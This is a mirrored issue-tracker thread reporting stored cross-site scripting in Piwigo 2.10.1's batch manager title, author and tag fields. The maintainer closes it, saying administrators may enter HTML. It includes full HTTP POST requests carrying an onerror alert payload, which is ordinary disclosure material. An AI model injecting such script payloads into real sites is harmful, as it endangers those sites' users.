Multiple Stored Cross-Site Scripting vulnerabilities in Piwigo CMS #999

New Issue

Closed

opened 2026-10-05 00:27:51 +02:00 by adam · 4 comments

adam commented 2026-10-05 00:27:51 +02:00

Owner

Copy link

Copy source

Description:

Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Global Mode" tab in "batch_manager" page. Specifically in the action section.

How to reproduce:

1. Login into the application and upload any image file.
2. Go to the "batch_manager" page under "Photos" menu.
3. In "Global Mode" tab, select any image and in the action section select "Set Title" option.
4. In the title field insert the payload and hit enter.

Note: In this Mode all "Set Title", "Set Author" and "Set Tags" options are affected.

CVSS Score:
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N

1. Set Title field

---

POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 655
Origin: http://172.16.163.1
Connection: close
Cookie: pwg_id=7cbqr1qqln888l8kfuevbq3j64; pwg_display_thumbnail=no_display_thumbnail; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D

start=0&pwg_token=8ed24b9b76c8e91cc8bbe022fbd1c757&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&setSelected=on&selection%5B%5D=1&selectAction=title&associate=1&dissociate=1&author=&title=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&date_creation=2020-01-17+00%3A00%3A00&level=0&regenerateSuccess=0&regenerateError=0&submit=

---

2. Set Author field

---

POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 641
Origin: http://172.16.163.1
Connection: close
Referer: http://172.16.163.1/piwig/admin.php?page=batch_manager
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=t2rehceos6pdqmked61pliif25; pwg_remember=1-1579317252-El61rixYj%2BDkMW1pS8UqG%2F9azxM%3D; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
Upgrade-Insecure-Requests: 1

start=0&pwg_token=4266fc8639bd394b648eed2ac50fba94&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&selection%5B%5D=1&selectAction=author&associate=3&dissociate=1&author=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&title=&date_creation=2020-01-18+00%3A00%3A00&level=0&regenerateSuccess=0&regenerateError=0&submit=

---

Description: Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Global Mode" tab in "batch_manager" page. Specifically in the action section. How to reproduce: 1. Login into the application and upload any image file. 2. Go to the "batch_manager" page under "Photos" menu. 3. In "Global Mode" tab, select any image and in the action section select "Set Title" option. 4. In the title field insert the payload <img src="X" onerror="alert(document.domain)"> and hit enter. Note: In this Mode all "Set Title", "Set Author" and "Set Tags" options are affected. CVSS Score: CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N 1. Set Title field ********************************************************************************************************* POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1 Host: 172.16.163.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 655 Origin: http://172.16.163.1 Connection: close Cookie: pwg_id=7cbqr1qqln888l8kfuevbq3j64; pwg_display_thumbnail=no_display_thumbnail; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D start=0&pwg_token=8ed24b9b76c8e91cc8bbe022fbd1c757&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&setSelected=on&selection%5B%5D=1&selectAction=title&associate=1&dissociate=1&author=&title=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&date_creation=2020-01-17+00%3A00%3A00&level=0&regenerateSuccess=0&regenerateError=0&submit= ********************************************************************************************************* 2. Set Author field ********************************************************************************************************* POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1 Host: 172.16.163.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 641 Origin: http://172.16.163.1 Connection: close Referer: http://172.16.163.1/piwig/admin.php?page=batch_manager Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=t2rehceos6pdqmked61pliif25; pwg_remember=1-1579317252-El61rixYj%2BDkMW1pS8UqG%2F9azxM%3D; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D Upgrade-Insecure-Requests: 1 start=0&pwg_token=4266fc8639bd394b648eed2ac50fba94&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&selection%5B%5D=1&selectAction=author&associate=3&dissociate=1&author=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&title=&date_creation=2020-01-18+00%3A00%3A00&level=0&regenerateSuccess=0&regenerateError=0&submit= *********************************************************************************************************   <!-- github-sync-id:552308942 -->

adam closed this issue 2026-10-05 00:27:51 +02:00

adam commented 2026-10-05 00:27:52 +02:00

Author

Owner

Copy link

Copy source

Hi @ankit-c

That's not a bug. Piwigo let the administrator add HTML in a photo title.

It may seem "unexpected", but administrator have great freedom and responsibility.

Hi @ankit-c That's not a bug. Piwigo let the administrator add HTML in a photo title. It may seem "unexpected", but administrator have great freedom and responsibility. <!-- github-comment-id:583479754 -->

adam commented 2026-10-05 00:27:53 +02:00

Author

Owner

Copy link

Copy source

Is administrator allowed to add HTML in "Author" and "Tags" fields too? Because these two fields are also affected.

Is administrator allowed to add HTML in "Author" and "Tags" fields too? Because these two fields are also affected. <!-- github-comment-id:583490068 -->

adam commented 2026-10-05 00:27:54 +02:00

Author

Owner

Copy link

Copy source

yes, they are. They don't "have to", but they "can".

yes, they are. They don't "have to", but they "can". <!-- github-comment-id:583493460 -->

adam commented 2026-10-05 00:27:54 +02:00

Author

Owner

Copy link

Copy source

Okay Thanks.

Okay Thanks. <!-- github-comment-id:583496263 -->

Sign in to join this conversation.

No Branch/Tag Specified

Branches Tags

master

issue-2560-people

translation

16.x

feat/embedding-based-contextual-tagging

issue-2576-search-include-ai-in-search-results

feat/search-ocr-ai

issue-2391-update-menu-design

15.x

detect-container

issue-2386-update-filters-users-activity

issue-2362-add-filters-options-in-admin

issue-2367-imagemagick7

issue-2225-quicksearch-help

14.x

issue-2164-BatchManagerUnitMode-Redesign

13.x

12.x

issue-1657-SVG_Support

issue-1703-historySearchMethod

11.x

2.10

2.9

2.8

2.7

2.5

2.6

2.4

2.3

2.2

2.1

2.0

1.7

1.3

1.6

1.5

1.4

16.4.0

16.3.0

16.2.0

16.1.0

16.0.0

16.0.0RC3

16.0.0RC2

15.7.0

16.0.0RC1

16.0.0beta1

16.0.0beta2

15.6.0

15.5.0

15.4.0

15.3.0

15.2.0

15.1.0

15.0.0

15.0.0beta3

15.0.0beta2

15.0.0beta1

14.5.0

14.4.0

14.3.0

14.2.0

14.1.0

14.0.0

14.0.0RC2

14.0.0RC1

14.0.0beta3

14.0.0beta2

13.8.0

14.0.0beta1

13.7.0

13.6.0

13.5.0

13.4.0

13.3.0

13.2.0

13.1.0

13.0.0

13.0.0RC4

13.0.0RC3

13.0.0RC2

13.0.0RC1

12.3.0

13.0.0beta2

13.0.0beta1

12.2.0

12.1.0

12.0.0

12.0.0RC2

12.0.0RC1

12.0.0beta2

12.0.0beta1

11.5.0

11.4.0

11.3.0

11.2.0

11.1.0

11.0.0

11.0.0beta5

2.11.0beta4

2.11.0beta3

2.11.0beta2

2.11.0beta1

2.10.2

2.10.1

2.10.0

2.10.0RC1

2.10.0beta2

2.10.0beta1

2.9.5

2.9.4

2.9.3

2.9.2

2.9.1

2.9.0

2.9.0RC2

2.9.0RC1

2.9.0beta2

2.8.6

2.8.5

2.8.4

2.9.0beta1

2.8.3

2.8.2

2.8.1

2.8.0

2.8.0RC2

2.8.0RC1

2.7.4

2.7.3

2.6.5

2.5.6

2.5.5

2.6.4

2.7.2

2.7.1

2.7.0

2.7.0RC2

2.7.0RC1

2.7.0beta2

2.6.3

2.7.0beta1

2.6.2

2.5.4

2.6.1

2.6.0

2.6.0RC2

2.6.0RC1

2.6.0beta2

2.5.3

2.5.2

2.6.0beta1

2.5.1

2.5.0

2.5.0RC2

2.4.7

2.5.0RC1

2.4.6

2.5.0beta3

2.5.0beta2

2.5.0beta1

2.4.5

2.4.4

2.4.3

2.4.2

2.4.1

2.4.0

2.3.5

2.4.0RC3

2.3.4

2.4.0RC2

2.4.0RC1

2.3.3

2.4.0beta2

2.4.0beta1

2.3.2

2.3.1

2.3.0

2.3.0RC2

2.3.0RC1

2.2.5

2.3.0beta3

2.2.4

2.3.0beta2

2.2.3

2.2.2

2.3.0beta1

2.2.1

2.2.0

2.2.0RC4

2.2.0RC3

2.2.0RC2

2.1.6

2.2.0RC1

2.1.5

2.1.4

2.1.3

2.1.2

2.1.1

2.1.0

2.0.10

2.1.0RC3

2.1.0RC2

2.1.0RC1

2.0.9

2.0.8

2.0.7

2.0.6

2.0.5

2.0.4

2.0.3

2.0.2

2.0.1

2.0.0

2.0.0RC4

1.7.3

2.0.0RC3

2.0.0RC2

2.0.0RC1

1.7.2

1.7.1

1.7.0

1.7.0RC2

1.7.0RC1

1.6.2

1.6.1

1.6.0

1.6.0RC2

1.6.0RC1

1.5.2

1.5.1

1.5.0

1.5.0RC2

1.5.0RC1

1.4.1

1.4.0

1.4.0RC3

1.4.0RC2

1.3.4

1.4.0RC1

1.3.3

1.3.2

1.3.1

1.3.0

1.3.0RC2

1.3.0RC1

Labels

No items

No labels

Milestone

No items

No Milestone

Projects

Clear projects

No projects

Assignees

Clear assignees

adam (Adam Wojcieszonek)

No Assignees

1 Participants

Notifications

Subscribe

Due Date

No due date set.

Dependencies

No dependencies set.

Reference: adam/Piwigo#999